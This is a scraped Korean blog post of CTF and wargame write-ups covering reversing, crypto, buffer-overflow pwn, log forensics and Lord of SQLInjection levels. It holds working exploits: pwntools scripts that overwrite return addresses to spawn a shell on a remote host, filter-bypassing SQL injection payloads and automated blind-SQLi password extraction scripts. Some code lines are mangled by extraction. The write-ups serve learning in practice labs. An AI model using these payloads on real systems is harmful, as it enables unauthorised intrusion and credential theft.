반응형
반응형
반응형

http://52.79.224.215

Rev

How you find my flag?

150

 

32bit elf 파일이 주어진다.

 

main함수에서 flag의 마지막 부분을 찾을 수 있고, I5_My 함수에서 함수 명이 flag의 중간 부분이 된다.

 

그리고 I5_My에서 문자열을 xor 연산 하는 것을 알 수 있다. 이 xor연산을 돌려주면 flag의 처음 부분이 된다.

 

main() 함수와 I5_My() 함수. IDA 32bit을 이용하면 볼 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#python3
= "D : : h I ^ L q ] b 9 x 9 U"
 
= list(map(str, p.split()))
 
flag_b = [0]*len(n)
 
for i in range(0len(n)):
    flag_b[i] = ord(n[i]) ^ 0xa
 
flag = ""
for j in range(0len(n)):
    flag += chr(flag_b[j])
print(flag)
 
cs

 

반응형
반응형

http://52.79.224.215

Crypto

 

Very Easy Crypto

100

 

ascii85

 

The Middle Age Crypto

100

 

https://www.brynmawr.edu/bulletin/codes-and-ciphers-puts-students-test

 

'Codes and Ciphers' Puts Students to Test | Bryn Mawr Alumnae Bulletin

'Codes and Ciphers' Puts Students to Test 'Codes and Ciphers' Puts Students to Test Math course offers insight into creating and solving secret messages. At their simplest, they are used by kids passing notes in class and at their most complex, by governme

www.brynmawr.edu

 

You Decode it?

175

 

문제 :

1
2
3
4
5
6
7
8
9
10
11
12
from * import flag, shift 
 
list_ = ['0x475''0x3b0''0x471''0x47a''0x39c''0x465''0x476''0x46d''0x46d''0x47a','0x39c''0x460''0x471''0x47a''0x473''0x477''0x3b3''0x3a2''0x3a2']
 
def encrypt(d,shift):
    e = []
    for c in d:
        e.append(hex((ord(c)+shift)^99))
    return e
 
if list(encrypt(flag,shift)) == list_:    # 문법 상으로는 맞지 않음. 이해를 위해서 넣은 코드구문
    print("encoding success!!")
cs

 

 

풀이 :

1
2
3
4
5
6
7
8
9
10
11
12
13
list_ = [0x4750x3b00x4710x47a0x39c0x4650x4760x46d0x46d0x47a,0x39c0x4600x4710x47a0x4730x4770x3b30x3a20x3a2]
list = []
 
 
for i in list_:
    list.append(i^99)
 
for shift in range(0,951):
    flag = ""
    for j in list :
        flag += chr(j-shift)
    print(flag)
 
cs

 

반응형
반응형

http://52.79.224.215

 

Pwn

What is bof?

100

exeinfo.exe로 32bit elf 파일임을 알아내고 ida 32bit로 연다.

 

main() 과 flag()

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-14h]@1
 
  setvbuf(_bss_start, 020);
  printf("Go through it!! >> ");
  gets(&s);
  printf("YOu Input : %s\n"&s);
  return 0;
}
cs
1
2
3
4
5
int flag()
{
  printf("Y0u Ar3 Fl@g Here!!");
  return system("/bin/sh");
}
cs

 

main함수에서 발생하는 bof를 통해 ret주소를 flag()의 주소로 덮어서 쉘을 실행시킨 뒤, flag 파일을 읽으면 된다.

 

main:7 에서 입력길이에 제한이 없는 gets() 함수를 사용하므로  ret을 덮을 수 있다.

 

s는 bp-14h에 위치한다. 

 

s[20] + sfp[4] + ret[4]     ==========> 24바이트를 덮고 retflag()주소인 0x08048516으로 덮으면 된다.

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#python
from pwn import *
 
= remote("52.79.224.215"30005)
 
flag = 0x08048516
 
payload = "A"*24 + p32(flag)
 
p.recvuntil(">> ")
p.sendline(payload)
 
p.interactive()
 
cs

 

very ezzzzzz!!

100

what is bof? 문제와 동일 하다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [sp+0h] [bp-40h]@1
 
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  gets(&s);
  sleep_puts("Wait!!!!!!");
  sleep_puts("You should stop");
  sleep_puts("Stealing flag...");
  sleep_puts("Wait 10sec..");
  sleep_puts("Wait 8sec..");
  sleep_puts("Wait 6sec..");
  sleep_puts("Wait 4sec..");
  sleep_puts("Wait 2sec..");
  sleep_puts("Okay");
  sleep_puts("I'll give you a flag!!");
  puts("N00bCTF{wow_your_very_good!!}");
  return 0;
}
cs

 

gets함수를 사용하고 있고, s는 bp-40h에 위치한다.

 

sfp까지 해서 68바이트를 덮고 ret을 get_flag()함수 주소로 덮어주면 된다.

 

get_flag() : 0x08048556

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
#python
from pwn import *
 
= remote("52.79.224.215"30006)
 
flag = 0x08048556
 
payload = "A"*68 + p32(flag)
 
p.sendline(payload)
 
p.interactive()
cs

 

 

 

Over the RET

150

 

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln(18273645);
  return 0;
}
cs
1
2
3
4
5
6
7
8
9
10
11
int __cdecl vuln(int a1)
{
  int result; // eax@1
  char s; // [sp+0h] [bp-40h]@1
 
  gets(&s);
  result = puts(&s);
  if ( a1 == 12563478 )
    result = system("/bin/sh");
  return result;
}
cs

 

main함수에서 vuln함수를 호출하고 인자(a1)로  18273645를 주고 있다.

vuln함수에서는 그 인자(a1)의 값dl 12563478이면 쉘을 실행한다.

 

 

a1은 bp+8h에 위치한다.

 

s[bp-40h]=====64bytes=======sfp[4]==ret[4]==a1[bp+8h]

이고, gets(&s); 를 사용하므로 총72바이트를 덮고 그 다음 값으로 a1을 덮을 수 있다.

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= remote("52.79.224.215"30007)
 
a1 = 12563478
 
payload = "A"*72 + p32(a1)
 
 
p.sendline(payload)
 
p.interactive()
 
cs

 

반응형
반응형

http://52.79.224.215

 

 

Disk Forensic

Emergency!! Leak my source code..

100

access.log를 먼저 봤다. 모든 접근 기록이 담겨 있어서 모든 것을 조사해 볼 수는 없었다. 범위를 좁히기 위해서 다른 파일들을 살펴 보았다.

 

 

 

sad파일에서 수상한 pid를 찾을 수 있다.

 

               pid    ppid

www-data  5230  5244  0 10:11 ?        00:00:00 php -f /var/www/upload/ws1004/image/hack.php
www-data  5244   814  0 10:11 ?        00:00:00 sh -c php -f /var/www/upload/ws1004/image/hack.php

 

 

hack.php와 관련이 있음을 구할 수 있다. hack.php와 관련한 로그만 찾으면 되기 때문에 access.log에서 hack.php를 검색해서 나오는 모든 로그들을 모았다.

 

 

 

 

[25/Oct/2019:17:18:51 +0900] cHdk
[25/Oct/2019:17:26:23 +0900] bHMgLWFsICAvdmFyL3d3dy91cGxvYWQvd3MxMDA0L2ltYWdlLw%3D%3D
[25/Oct/2019:17:21:12 +0900] dGFyIC1jdmYgL3Zhci93d3cvdXBsb2FkL3dzMTAwNC9pbWFnZS8xMjU5MTIzNzQ5IC92YXIvd3d3Lw%3D%3D
[25/Oct/2019:17:26:40 +0900] cGhwIC1mIC92YXIvd3d3L3VwbG9hZC93czEwMDQvaW1hZ2UvaGFjay5waHA%3D

 

시각과 쿼리로 넘어가는 명령어만 기록해봤다.

 

 

base64로 인코딩 되었는데, 4번째 명령어는 아래와 같다.

php -f /var/www/upload/ws1004/image/hack.php

 

해당 명령어를 실행하는 쉘의 pid는 5230이다.

 

따라서 플래그는 N00bCTF{2019-10-25_17:26:40&5244} 가 된다.

반응형
반응형

SUCCUBUS

 

문제소스 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
  include "./config.php"
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/\'/',$_GET[id])) exit("HeHe");
  if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>
cs

 

싱글쿼트 ' 을 id와 pw에서 모두 필터링 한다.

 

id 값에 \을 입력해주면, $query에서 id='\' and pw='' 가 되는데

\'string 싱글쿼트 ' 로 인식하게 된다.

 

 

 

 

 

pw 에 or 1%23을 입력해주어서 id를 true로 만들어버리자.

 

id = '\' and pw =' or 1#'

반응형
반응형

문제 소스:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("assassin"); 
  highlight_file(__FILE__); 
?>
cs

 

 

이때까지 sql에서 like을 =을 우회하는 용도로만 사용했지만 사실 다른 기능도 있다. (당연히..)

 

바로 패턴 검색이다.

 

https://makand.tistory.com/entry/SQL-LIKE-%EA%B5%AC%EB%AC%B8 

 

SQL LIKE 구문

이번에 포스팅할 내용은 SQL 구문중 LIKE 입니다. LIKE 연산자는 지정된 패턴을 검색하는데 사용합니다. 예를들어 "나는 지금 블로그에 글을 쓰고 있습니다." 라는 제목으로 글을 저장하고 그 글을 검색할 경우..

makand.tistory.com

 

패턴 검색을 이용해서 %0%을 넣으면 0이 가운데 들어가 있는 모든 값을 불러오게 되는데,

그 결과 hello guest가 출력되었다.

 

 

첫문자% 을 이용해서 pw을 알아내면 된다.

 

코드 짜서 돌리면 된다.

 

 

근데 guest만 나오게 되는데, 이를 봐선 guest의 pw와 admin의 pw의 앞부분이 어느정도 일치하는 걸로 예상할 수 있다.

그래서 이어서 다음 자리까지 찾아나가야 한다.

 

 

ex.py

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        #payload = "1' || '1'='1' &&(substring(pw,"+str(i+1)+",1)='"+string[j]+"')#"
        #payload = "1' || '1'like'1' &&(mid(pw,"+str(i+1)+",1) like '"+string[j]+"')#"
        #payload = "1 or id like 0x61646d696e and ord(mid(pw,"+str(i+1)+",1)) like "+str(ord(string[j]))+"#"
        #payload = "1 || id in (\"admin\") && hex(mid(pw,"+str(i+1)+",1)) > hex("+str(ord(string[j])-1)+") && hex(mid(pw,"+str(i+1)+",1)) < hex("+str(ord(string[j])+1)+")#"
        payload = "여기에 나온 값들을 붙여주면 된다."+string[j]+"%"
        #payload = urllib.quote(payload)
        #payload = payload.replace("%20","%0a")
        url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie_value_here')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if "Hello admin" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] admin"
            break
        elif "Hello guest" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] guest"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
 
cs
반응형
반응형

소스:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(strlen($_GET[shit])>1exit("No Hack ~_~"); 
  if(preg_match('/ |\n|\r|\t/i'$_GET[shit])) exit("HeHe"); 
  $query = "select 1234 from{$_GET[shit]}prob_giant where 1"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result[1234]) solve("giant"); 
  highlight_file(__FILE__); 
?>
cs

 

if(strlen($_GET[shit])>1) exit("No Hack ~_~"); 

 

shit의 길이가 1보다 크면 죽어버린다.

 

쿼리 값을 보면 from 과 prob_giant사이에 공백이 없는 것을 볼 수 있다. 

select 1234 from prob_giant where 1

 

 

 

 

 

 

공백을 넣는 방법에는

 

%09  (tab \t)

%0a  (linefeed \n)

%0b  (vertical tab)

%0c  (form feed)

%0d  (carriage return \r)

 

가 있는데

아래 구문에 의해서 몇개는 필터링 된다.

 

if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); 

 

 

 

 

 

\t \n \r이 아닌 %0b나 %0c를 입력해주면 풀린다.

반응형
반응형

https://los.rubiya.kr

 

Lord of SQLInjection

 

los.rubiya.kr

 

bugbear

문제소스:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i'$_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>
cs

 

pw의 길이를 구하기 위해서 저번에는 no = 1 or id like 0x61646d696e and length(pw) like 8 을 사용했지만,

공백, like, 0x 필터링으로 사용할 수 없게 됐다.

 

 

 

 

 

대신 더 우회를 하면 된다.

 

or, and => ||, &&

 

id = adminid in ("admin") 으로 우회,

length(pw) like 8은 부등호을 이용해서 length(pw) > 7 && length(pw) < 9 로 우회해준다.

 

1 || id in ("admin") && length(pw) > 7 && length(pw) < 9

 

여기서 공백대신 %0a로 공백도 우회해 주면 된다.

 

1%0a||%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)%0a>%0a7%0a%26%26%0alength(pw)%0a<%0a9

 

 

 

 

 

 

https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1%0a||%0aid%0ain%0a(%22admin%22)%0a%26%26%0alength(pw)%0a%3E%0a7%0a%26%26%0alength(pw)%0a%3C%0a9

패스워드의 길이는 8이다.

 

이제 blind sqli을 위한 코드에서 우회한 문자로 바꿔주는 수정을 해주면 된다.

 

pw를 맞추는 코드는

1 || id in ("admin") && ord(mid(pw,1,1)) > 44 && ord(mid(pw,1,1)) < 46#

와 같은 형태가 된다. 위 조건이 True이면 ord(mid(pw,1,1))은 45가 되는 것이다.

 

 

 

 

 

근데 이걸로 했는데, 안된다.

 

왜 안됐는가 보니, ord()에서 or이 필터링 되고 있었다...

 

다른 함수를 써야하므로, or 때문에 걸러지는 ord()를 버리고 hex()를 새로 영입했다.

 

 

 

 

 

이제

1 || id in ("admin") && hex(mid(pw,1,1)) > hex(44) && hex(mid(pw,1,1)) < hex(46)#

 

이렇게 바꿔주면 된다.

 

 

 

 

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        #payload = "1' || '1'='1' &&(substring(pw,"+str(i+1)+",1)='"+string[j]+"')#"
        #payload = "1' || '1'like'1' &&(mid(pw,"+str(i+1)+",1) like '"+string[j]+"')#"
        #payload = "1 or id like 0x61646d696e and ord(mid(pw,"+str(i+1)+",1)) like "+str(ord(string[j]))+"#"
        payload = "1 || id in (\"admin\") && hex(mid(pw,"+str(i+1)+",1)) > hex("+str(ord(string[j])-1)+") && hex(mid(pw,"+str(i+1)+",1)) < hex("+str(ord(string[j])+1)+")#"
        payload = urllib.quote(payload)
        payload = payload.replace("%20","%0a")
        url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''your_cookie_value_here')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if "Hello admin" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"]"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
 
cs

 

공백 우회를 할 때, 16행에 미리 공백대신 %0a를 넣으면, %가 17행에서 %25로 인코딩된다.

 

그래서 17행 이후, 18행에서 공백인 %20을 %0a로 치환해주었다.

반응형
반응형

200점 문제

 

접속하면 level : 1 을 볼 수 있고, 아래에 view-source(소스보기)가 있다.

 

  1. <?php
  2. include "../../config.php";
  3. if($_GET['view-source'] == 1){ view_source(); }
  4. if(!$_COOKIE['user_lv']){
  5. SetCookie("user_lv","1",time()+86400*30,"/challenge/web-01/");
  6. echo("<meta http-equiv=refresh content=0>");
  7. }
  8. ?>
  9. <html>
  10. <head>
  11. <title>Challenge 1</title>
  12. </head>
  13. <body bgcolor=black>
  14. <center>
  15. <br><br><br><br><br>
  16. <font color=white>
  17. ---------------------<br>
  18. <?php
  19. if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
  20. if($_COOKIE['user_lv']>=6) $_COOKIE['user_lv']=1;
  21. if($_COOKIE['user_lv']>5) solve(1);
  22. echo "<br>level : {$_COOKIE['user_lv']}";
  23. ?>
  24. <br>
  25. <a href=./?view-source=1>view-source</a>
  26. </body>
  27. </html>

 

 

 

 

php 구문을 볼 수 있는데, 중요한 부분은 중간에 있는 php 코드다.

 

 

if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>=6) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>5) solve(1);

 

쿠키 user_lv 의 값이 숫자가 아니면 1로 설정,

6이상이면 1로 설정

5이상이면 solve다.

 

크롬 확장프로그램 EditThisCookie를 이용해서 user_lv의 값을 5이상 6미만인 값으로 설정하면 된다.

 

나는 5.5 로 해두었다. 5.5로 설정하고 원래 페이지로 돌아가면 풀린다.

 

 

 

 

반응형
반응형

DARKKNIGHT

 

문제 소스:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i'$_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__); 
?>
cs

 

 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");

pw 검증 -> blind sql injection

 

 

if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");

substr => mid

= => like  로 우회

 

 

 

pw 글자 수 구하기

 

' 따옴표 필터링으로 인해 'admin'을 hex값으로 넣어서 string으로 인식하도록 함.

 

no = 1 or id like 0x61646d696e and length(pw) like 8

 

 

pw길이는 8. 이제 pw을 구하면 된다.

 

 

이전에는 mid(pw,1,1) like '0' 으로 하면 되었지만

' 따옴표을 필터링 하기 때문에 아스키 값으로 바꿔서 비교를 해야 한다.

 

ord(mid(pw,1,1)) like 48

 

 

 

풀이 코드 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
key = ""
 
for i in range(8):
    for j in range(len(string)):
        #payload = "1' || '1'='1' &&(substring(pw,"+str(i+1)+",1)='"+string[j]+"')#"
        #payload = "1' || '1'like'1' &&(mid(pw,"+str(i+1)+",1) like '"+string[j]+"')#"
        payload = "1 or id like 0x61646d696e and ord(mid(pw,"+str(i+1)+",1)) like "+str(ord(string[j]))+"#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?no="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=s9nkrte43d9mdtk5e0r6b54mfa')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
        if "Hello admin" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"]"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.1)
 
cs
반응형

+ Recent posts